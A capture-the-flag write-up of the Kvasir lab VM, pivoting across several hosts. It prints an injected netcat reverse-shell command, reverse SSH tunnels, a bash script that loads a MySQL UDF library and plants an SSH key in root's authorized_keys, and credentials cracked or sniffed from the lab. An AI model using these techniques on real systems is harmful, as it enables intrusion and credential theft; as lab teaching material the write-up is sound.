staring into /dev/null

barrebas

We Need to Go Deeper: Kvasir Writeup

I was asked to test Rasta Mouse’s awesome VM called Kvasir some time ago, which I always find an honor. I figured it was time to do a writeup!

Disclaimer: Since I did this VM a while ago, and tested several versions, this write-up is not going to describe my exact thought-process. Sometimes, I’ll skip over one or two steps. I’m sorry for that, but rest assured I gave Kvasir all the love it deserved ;]

After importing the VM into VirtualBox and disabling the USB 2.0 Controller, I booted it up and waited a while. It takes some time for the VM to fully start. Meanwhile, I scanned it with nmap:

1
2
3
4
5
6
7
8
9
10
11
bas@tritonal:~$ sudo nmap -sS -T4 10.8.7.101

Starting Nmap 6.00 ( http://nmap.org ) at 2014-11-03 19:00 CET
Nmap scan report for 10.8.7.101
Host is up (0.00092s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:CF:5D:57 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 39.73 seconds

Hmm. Let’s load up that webpage.

It’s a login page, but we have no valid login. We can create one, but that got me nowhere. Testing for the usual SQL injections did no good. Let’s go and register:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'bas' ', 'bas'', 0, NULL)' at line 1

An SQL error! Part of the query that is supposed to add a new user to the database is visible. The 0, NULL values seemed meaningful. It could be that the 0 controls some aspect of the user, like permissions. I injected the following SQL:

After logging in, I was redirected to admin.php:

This smells like command injection to me! Let’s try something:

Cool, we have command injection. Can we get a shell on the box?

1
apache2; nc -e /bin/sh 10.8.7.1 7777 #

In the netcat listener ($ added for clarity):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
bas@tritonal:~$ nc -vlnp 7777
listening on [any] 7777 ...
connect to [10.8.7.1] from (UNKNOWN) [10.8.7.101] 39148
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ ls
admin.php
index.php
login.php
logout.php
member.php
register.php
submit.php

$ head login.php
<?php

$username = $_POST["username"];
$password = $_POST["password"];

mysql_connect("192.168.2.200", "webapp", "webapp") or die(mysql_error());
mysql_select_db("webapp") or die(mysql_error());

$query = "SELECT * FROM users where username='$username' AND password='$password'";
$result = mysql_query($query) or die(mysql_error());

/sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr fe:7f:29:91:70:e2
          inet addr:192.168.1.100  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::fc7f:29ff:fe91:70e2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:249 errors:0 dropped:0 overruns:0 frame:0
          TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:38924 (38.0 KiB)  TX bytes:31129 (30.3 KiB)

eth1      Link encap:Ethernet  HWaddr ba:e4:73:90:79:b3
          inet addr:192.168.2.100  Bcast:192.168.2.255  Mask:255.255.255.0
          inet6 addr: fe80::b8e4:73ff:fe90:79b3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:119 errors:0 dropped:0 overruns:0 frame:0
          TX packets:62 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:19853 (19.3 KiB)  TX bytes:5341 (5.2 KiB)

Interesting, there is another box that handles the database. From login.php, I harvested some credentials. Let’s enable an SSH tunnel to access that second box. I transferred over my SSH key to enable a reverse SSH tunnel (a stupid & dangerous thing to do in a real scenario!):

1
2
3
4
5
6
7
nc 10.8.7.1 7777 > /tmp/bas && chmod 600 /tmp/bas
ls -alh
total 12K
drwxrwxrwt  2 root     root     4.0K Sep  4 16:58 .
drwxr-xr-x 22 root     root     4.0K Aug  9 20:06 ..
-rw-------  1 www-data www-data 1.7K Sep  4 16:58 bas
ssh -fN -R 13333:192.168.2.200:3306 -o StrictHostKeyChecking=no bas@10.8.7.1 -i /tmp/bas

The ssh command was mind-boggling. -fN asks ssh to not run remote commands and background itself; useful for running tunnels. Then,-R requests a reverse tunnel. 13333:192.168.2.200:3306 means “start a tunnel to 192.168.2.200:3306 on port 13333”. The local host is 10.8.7.1, my own box. Finally, the magic ingredient was -o StrictHostKeyChecking=no, which makes ssh skip the verification. Usually, it will ask “add host x to known hosts?”. However, since we have a limited reverse shell instead of a proper tty, this will not allow us to type ‘yes’. Specifying StrictHostKeyChecking=no circumvents this. This allowed me to access the remote database server via the webserver box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
bas@tritonal:~$ mysql -h 127.0.0.1 -P 13333 -u webapp -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.5.37-0+wheezy1 (Debian)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| webapp             |
+--------------------+
4 rows in set (0.01 sec)

mysql> use webapp
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------+
| Tables_in_webapp |
+------------------+
| todo             |
| users            |
+------------------+
2 rows in set (0.00 sec)

mysql> select * from users;
+----------+----------+------+-------+----+
| username | password | dob  | admin | id |
+----------+----------+------+-------+----+
| bas      | bas      | 0    |     1 |  1 |
| bleh     | bleh     | bleh |     0 |  2 |
+----------+----------+------+-------+----+
3 rows in set (0.00 sec)

mysql> select * from todo;
+----------------------------+
| task                       |
+----------------------------+
| stop running mysql as root |
+----------------------------+
1 row in set (0.00 sec)

mysql>

mysql is running as root? Interesting, maybe it has FILE permissions, too! Further enumeration of the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------------+
| Tables_in_mysql           |
+---------------------------+
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
24 rows in set (0.01 sec)

mysql> select * from user;
+---------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
| Host          | User             | Password                                  | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin | authentication_string |
+---------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
| localhost     | root             | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        |                       |
| db            | root             | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        |                       |
| 127.0.0.1     | root             | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        |                       |
| ::1           | root             | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        |                       |
| localhost     | debian-sys-maint | *E0E0871376896664A590151D348CCE9AA800435B | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        | NULL                  |
| 192.168.2.100 | webapp           | *BF7C27E734F86F28A9386E9759D238AFB863BDE3 | Y           | Y           | N           | N           | N           | N         | N           | N             | N            | N         | N          | N               | N          | N          | N            | N          | N                     | N                | N            | N               | N                | N                | N              | N                   | N                  | N                | N          | N            | N                      |          |            |             |              |             0 |           0 |               0 |                    0 |        | NULL                  |
| 192.168.2.100 | root             | *ECB01D78C2FBEE997EDA584C647183FD99C115FD | Y           | Y           | Y           | Y           | Y           | Y         | Y           | Y             | Y            | Y         | Y          | Y               | Y          | Y          | Y            | Y          | Y                     | Y                | Y            | Y               | Y                | Y                | Y              | Y                   | Y                  | Y                | Y          | Y            | Y                      |          |            |             |              |             0 |           0 |               0 |                    0 |        | NULL                  |
+---------------+------------------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+--------+-----------------------+
7 rows in set (0.01 sec)

Aha, the hashed password of the root user! Googling for the hash of the root user landed the password coolwater. Sweet! Next, I wanted to run shell commands as the root user, but for that we need something like lib_mysqludf_sys. Luckily, the root user has ALL permissions and therefore should be able to create files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bas@tritonal:~$ mysql -h 127.0.0.1 -P 13333 -u root -pcoolwater
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 43
Server version: 5.5.37-0+wheezy1 (Debian)

Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show grants;
+--------------------------------------------------------------------------------------------------------------------------------------------+
| Grants for root@192.168.2.100                                                                                                              |
+--------------------------------------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.2.100' IDENTIFIED BY PASSWORD '*ECB01D78C2FBEE997EDA584C647183FD99C115FD' WITH GRANT OPTION |
+--------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)

Without going into detail, I made a script that uploaded lib_mysql_udf to the remote server. After registering the right command, this allowed me to run commands. In one go, the script builds the SQL command to install lib_mysql_udf and adds my public key to the authorized SSH keys of the root user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash

echo "SELECT 0x" > payload
cat lib_mysqludf_sys.so |xxd -p >> payload
echo " INTO DUMPFILE '/usr/lib/mysql/plugin/udf_exploit.so'; " >> payload
echo "DROP FUNCTION IF EXISTS sys_exec; " >> payload
echo "CREATE FUNCTION sys_exec RETURNS int SONAME 'udf_exploit.so'; " >> payload
echo "SELECT '" >> payload
cat ~/.ssh/id_rsa.pub >> payload
echo "' INTO OUTFILE \"/root/.ssh/authorized_keys\"; " >> payload
echo "SELECT sys_exec(\"chmod 600 /root/.ssh/authorized_keys\"); " >> payload

cat payload | tr -d '\n' > payload2
rm payload
mv payload2 payload

mysql -h 127.0.0.1 -P 13333 -u root -pcoolwater < payload

lib_mysql_udf was compiled like so:

1
2
$ git clone https://github.com/mysqludf/lib_mysqludf_sys
$ gcc -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o ./lib_mysqludf_sys.so

The exploit uses INTO DUMPFILE and not INTO OUTFILE because the latter mangled the file. Running the exploit:

1
2
3
bas@tritonal:~/tools/lib_mysqludf_sys$ bash ./exploit.sh
sys_exec("chmod 600 /root/.ssh/authorized_keys")
0

Sweet. I should now be able to login via ssh. Enabling the ssh tunnel on 192.168.1.100:

1
ssh -fN -R 2222:192.168.2.200:22 bas@10.8.7.1 -o StrictHostKeyChecking=no -i /tmp/bas 2>&1

And then on my own box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bas@tritonal:~$ ssh root@localhost -p 2222
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (ECDSA) to the list of known hosts.
Linux db 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 27 21:23:54 2014
root@db:~#

Success! But this isn’t the end of Kvasir, not by a long shot…

Enumerating the home directory shows .words.txt, which is needed later. Obviously, flag is a troll :]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@db:~# ls -alh
total 32K
drwx------  4 root root 4.0K Sep 27 21:24 .
drwxr-xr-x 22 root root 4.0K Aug  9 15:38 ..
drwx------  2 root root 4.0K Aug  9 22:57 .aptitude
-rw-------  1 root root    0 Sep 27 21:33 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root   46 Sep 27 21:24 flag
-rw-------  1 root root    0 Sep  4 13:30 .mysql_history
-rw-------  1 root root    0 Sep 27 21:34 .nano_history
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
drwxr-xr-x  2 root root 4.0K Nov  3 19:21 .ssh
-rw-------  1 root root    0 Sep 27 21:33 .viminfo
-rw-r--r--  1 root root 1.1K Aug 10 11:09 .words.txt
root@db:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 1e:13:fc:ff:a9:6a
          inet addr:192.168.2.200  Bcast:192.168.2.255  Mask:255.255.255.0
          inet6 addr: fe80::1c13:fcff:feff:a96a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:614 errors:0 dropped:0 overruns:0 frame:0
          TX packets:413 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:81688 (79.7 KiB)  TX bytes:54254 (52.9 KiB)

eth1      Link encap:Ethernet  HWaddr ba:f4:f7:a6:a2:35
          inet addr:192.168.3.200  Bcast:192.168.3.255  Mask:255.255.255.0
          inet6 addr: fe80::b8f4:f7ff:fea6:a235/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:262 errors:0 dropped:0 overruns:0 frame:0
          TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:32269 (31.5 KiB)  TX bytes:32485 (31.7 KiB)

Again, another NIC. Also, pure-ftpd is running on this box. After playing around, I found this:

1
2
root@db:~# cat /etc/pure-ftpd/pureftpd.passwd
celes:$1$LwZNkFH0$8rq4AbiYLXkfSMPXB1psV/:1000:1000::/var/log/./::::::::::::

But the hash seems uncrackable. So there is a valid user to log into this pure-ftpd server, but celes is not a user on this box… So maybe a user from another box?! I ran tcpdump and whadda-ya-know:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
root@db:~# tcpdump -i eth1 -vvv -A
tcpdump: listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
19:33:01.238481 IP (tos 0x0, ttl 64, id 60394, offset 0, flags [DF], proto TCP (6), length 60)
    192.168.3.40.56746 > 192.168.3.200.ftp: Flags [S], cksum 0x64c5 (correct), seq 1344587505, win 14600, options [mss 1460,sackOK,TS val 208155 ecr 0,nop,wscale 5], length 0
E..<..@.@......(........P$........9.d..........
..-.........
19:33:01.238872 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
    192.168.3.200.ftp > 192.168.3.40.56746: Flags [S.], cksum 0x886f (incorrect -> 0x70f4), seq 2494575209, ack 1344587506, win 14480, options [mss 1460,sackOK,TS val 208155 ecr 208155,nop,wscale 5], length 0
E..<..@.@..{.......(......2iP$....8..o.........
..-...-.....
19:33:01.239764 IP (tos 0x0, ttl 64, id 60395, offset 0, flags [DF], proto TCP (6), length 52)
    192.168.3.40.56746 > 192.168.3.200.ftp: Flags [.], cksum 0xd684 (correct), seq 1, ack 1, win 457, options [nop,nop,TS val 208156 ecr 208155], length 0
E..4..@.@......(........P$....2j...........
..-...-.
19:33:01.273258 IP (tos 0x10, ttl 64, id 8054, offset 0, flags [DF], proto TCP (6), length 372)
    192.168.3.200.ftp > 192.168.3.40.56746: Flags [P.], cksum 0x6f1c (correct), seq 1:321, ack 1, win 453, options [nop,nop,TS val 208164 ecr 208156], length 320
E..t.v@.@..........(......2jP$......o......
..-$..-.220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 19:33. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.

19:33:01.273631 IP (tos 0x0, ttl 64, id 60396, offset 0, flags [DF], proto TCP (6), length 52)
    192.168.3.40.56746 > 192.168.3.200.ftp: Flags [.], cksum 0xd512 (correct), seq 1, ack 321, win 490, options [nop,nop,TS val 208164 ecr 208164], length 0
E..4..@.@......(........P$....3............
..-$..-$
19:33:01.273931 IP (tos 0x0, ttl 64, id 60397, offset 0, flags [DF], proto TCP (6), length 64)
    192.168.3.40.56746 > 192.168.3.200.ftp: Flags [P.], cksum 0x420c (correct), seq 1:13, ack 321, win 490, options [nop,nop,TS val 208164 ecr 208164], length 12
E..@..@.@......(........P$....3.....B......
..-$..-$USER celes

19:33:01.273972 IP (tos 0x10, ttl 64, id 8055, offset 0, flags [DF], proto TCP (6), length 52)
    192.168.3.200.ftp > 192.168.3.40.56746: Flags [.], cksum 0x8867 (incorrect -> 0xd52b), seq 321, ack 13, win 453, options [nop,nop,TS val 208164 ecr 208164], length 0
E..4.w@.@..........(......3.P$.......g.....
..-$..-$
19:33:01.278689 IP (tos 0x10, ttl 64, id 8056, offset 0, flags [DF], proto TCP (6), length 90)
    192.168.3.200.ftp > 192.168.3.40.56746: Flags [P.], cksum 0xd679 (correct), seq 321:359, ack 13, win 453, options [nop,nop,TS val 208165 ecr 208164], length 38
E..Z.x@.@..........(......3.P$.......y.....
..-%..-$331 User celes OK. Password required

19:33:01.278954 IP (tos 0x0, ttl 64, id 60398, offset 0, flags [DF], proto TCP (6), length 71)
    192.168.3.40.56746 > 192.168.3.200.ftp: Flags [P.], cksum 0x3986 (correct), seq 13:32, ack 359, win 490, options [nop,nop,TS val 208166 ecr 208165], length 19
E..G..@.@......(........P$....3.....9......
..-&..-%PASS im22BF4HXn01

What the heck? Someone, or something, is accessing the ftp server. This yields the credentials celes:im22BF4HXn01. Maybe there is some password re-use going on?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@db:~# ssh celes@192.168.3.40
The authenticity of host '192.168.3.40 (192.168.3.40)' can't be established.
ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.3.40' (ECDSA) to the list of known hosts.
celes@192.168.3.40's password:
Linux dev1 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Thu Sep  4 09:20:00 2014
celes@dev1:~$ ls -al
total 136
drwxr-xr-x 3 celes celes   4096 Sep  3 22:16 .
drwxr-xr-x 3 root  root    4096 Aug  9 23:20 ..
-rw------- 1 celes celes     14 Sep  4 09:16 .bash_history
-rw-r--r-- 1 celes celes    220 Dec 30  2012 .bash_logout
-rw-r--r-- 1 celes celes   3392 Dec 30  2012 .bashrc
-rwxr-xr-x 1 celes celes    178 Sep 27 21:29 getLogs.py
-rw-r--r-- 1 celes celes 104613 Sep  3 22:16 kvasir.png
-rw-r--r-- 1 celes celes    675 Dec 30  2012 .profile
drwx------ 2 celes celes   4096 Sep  3 22:06 .ssh
-rw------- 1 celes celes      0 Sep 27 21:35 .viminfo

Aw yeah! Now I’ve entered a third box… The ftp traffic comes from getLogs.py. Enumerating the box leads to this mail:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
celes@dev1:~$ cat /var/mail/celes
Return-path: <celes@localhost>
Received: from celes by localhost with local (Exim 4.80)
  (envelope-from <celes@localhost>)
  id 1XHczw-0000V2-8y
  for celes@127.0.0.1; Wed, 13 Aug 2014 19:10:08 +0100
Date: Wed, 13 Aug 2014 19:10:08 +0100
To: celes@127.0.0.1
Subject: Reminder
User-Agent: Heirloom mailx 12.5 6/20/10
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <E1XHczw-0000V2-8y@localhost>
From: celes@localhost

Terra sent me kvasir.png and challenged me to solve the stupid little puzzle she has running on her machine... *sigh*

OK, let’s have a close look at kvasir.png.

Haha, loving the Stargate reference :) I smell stego! I tried a few programs, like outguess and steghide, but stepic did the trick:

1
2
bas@tritonal:~/tmp$ stepic -d -i kvasir.png
89504e470d0a1a0a0000000d494844520000012200000122010300000067704df500000006504c5445ffffff00000055c2d37e00000104494441540899ed98c90dc32010459152804b72eb2ec9054422304bc089655f180ec9fb0730f07cfa9a0552420821f43fcaa6674aeb5e96dbe23b1b5434a58be559bf1e59befa03a848aa5ab22de690f2d530a8895473086a365500e7a1265132b5b3bbfc05358e7a57640b919bba0d358eeab55c9c418da7cc0df1a576a2792fa561ad035434a5920b808588d974e215d4584acff4065626ffe9db47a8e194eec805a00d7621830aa6acffd40c95d5a6fa27d404cae555e13475410550e6cca113ed72145424a56ee8ab4f8989ecb5196a02d5bdfa2477e83333410553d97ba093cc04154c89a439ba880ea881944c2d3aea0a6a0e75acc8528c4550e1144208a15fd70b88df9bb4ae0a3dc20000000049454e44ae426082

Huh? What’s this then?

1
2
3
bas@tritonal:~/tmp$ stepic -d -i kvasir.png | xxd -r -p > new
bas@tritonal:~/tmp$ file new
new: PNG image data, 290 x 290, 1-bit colormap, non-interlaced

PNG in a PNG. We need to go deeper

Ah! This QR code decodes to Nk9yY31hva8q. Could this be terra’s password? And where exactly is terra? I wrote a small python script to scan for other ip addresses and sure enough, it found 192.168.3.50:

1
2
3
4
5
6
7
8
9
10
11
12
celes@dev1:~$ ssh terra@192.168.3.50
The authenticity of host '192.168.3.50 (192.168.3.50)' can't be established.
ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.3.50' (ECDSA) to the list of known hosts.
terra@192.168.3.50's password:
Permission denied, please try again.
terra@192.168.3.50's password: 
Permission denied, please try again.
terra@192.168.3.50's password:

celes@dev1:~$

FAIL. That didn’t work. But the mail said something about a game? I modified a small portscanner in python (taken from here and modified):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python

from socket import *
import sys

def conn(host, port):
  try:
      s = socket(AF_INET, SOCK_STREAM) # TCP scan 
      s.connect((host, port))
      return s
  except:
      return None
      
def scan(host, port):
  sock = conn(host, port)
  #setdefaulttimeout(1)
  if sock:
      print("[+] port %d: open") % port

if __name__=="__main__":
  print "[!] starting..."
  if sys.argv[1]:
      print "[!] scanning %s" % sys.argv[1]
      for i in range(65535):
          scan(sys.argv[1], int(i))

Which obviously isn’t efficient as:

1
2
3
4
celes@dev1:~$ for i in `seq 1 65535`; do nc -z -v 192.168.3.50 $i 2>&1 | grep 'open'; done
(UNKNOWN) [192.168.3.50] 22 (ssh) open
(UNKNOWN) [192.168.3.50] 1194 (openvpn) : Connection refused
(UNKNOWN) [192.168.3.50] 4444 (?) open

Let’s see what 4444 has to offer.

1
2
3
4
5
6
7
8
9
10
11
celes@dev1:~$ nc 192.168.3.50 4444
Hello Celes & Welcome to the Jumble!

Solve:lrbgaaue
Solve:iahdtsing
Solve:yelpslfrciaiu
Solve:nduyn
Solve:etrdar
Solve:oneantctg
Solve:cnuaditdci
Solve:yhpeltloyipr

Right! This is where I needed .words.txt. The words have been jumbled and we need to return the right words. I wrote a python script for that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
from socket import *

wordfile = open("word", "r")
words = wordfile.readlines()
wordfile.close()

lookup = {}

for word in words:
        word = word.strip()
        sortedword = ''.join(sorted(word))
        lookup[sortedword] = word

s = socket(AF_INET, SOCK_STREAM)
s.connect(("192.168.3.50", int(4444)))

keepgoing = 1
while (keepgoing):
        c = s.recv(256)
        print c
        if "Solve" in c:
                challenge = c.split(":")[1].strip()
                w = ''.join(sorted(challenge))
                s.send(lookup[w])
                print lookup[w]

raw_input()
# done
s.close()

There are a couple of funny entries in the wordlist by the way :) Have a look for yourself!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
celes@dev1:~$ python ./solve.py |more
Hello Celes & Welcome to the Jumble!

Solve:natlpaearenp
Solve:setmeiercs
Solve:harten
Solve:keasmijnopur
Solve:utefaldzsi
Solve:rlirpaeot
Solve:radret
Solve:ebddnriug
Solve:ludacide
Solve:tdtorheiecc
Solve:vihnac
Solve:dfohyrlnedea
Solve:paisrellufyci
Solve:vnhmrotiunesep
Solve:nrerslemgio
Solve:louficmumr
Solve:ik0mtg1
Solve:mgcaprteiotbn
Solve:snsrsdoeis
Solve:hrssnoeism
Solve:dsfzlateui
Solve:rereenupcs
Solve:mhguespiop
Solve:oipgtcebharae
Solve:jnrpiumkseoa
Solve:iramca
Solve:iigatdsnh
Solve:kmaigiir
Solve:uwhenohgr
Solve:terdar
Solve:rlogacpihgo
Solve:strrpaeer
Solve:sckajbu
Solve:btirhmasin
Solve:bnbghlioo
Solve:litudseafz
Solve:aukripmejnso
Solve:onvmtideinea
Solve:tieabrhacgpeo
Solve:rprsartee
Solve:ernaht
Solve:gplosedcoi
Solve:suzeth
Solve:pgghcilaoro
Solve:ht3cke
Solve:hlbonoibg
Solve:tdrare
Solve:ryud
Solve:radem
Solve:wnuergohh
Solve:rltianuysietv
Solve:dlzuieatsf
Solve:mortiacnae
Solve:tueddnpue
Solve:unynd
Solve:ifumrcouml
Solve:auaeglrb
Solve:cetrmpogiatnb
Solve:idiastssa
Solve:italiernuyvst

Score: 120
Time: 0.01 secs
You're a winner
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRFSy1
JbmZvOiBBRVMtMTI4LUNCQyw3Njg0MTgyMkFCOUU3NzJGRDFENjUzRjYxNzlGMEU0RAoKT3JFTTJvY2
5oSEtnNW51SDdwczFDb09KQ2loYXNtRkpLTE9WTk5ZRk9oR0tVb2pQ
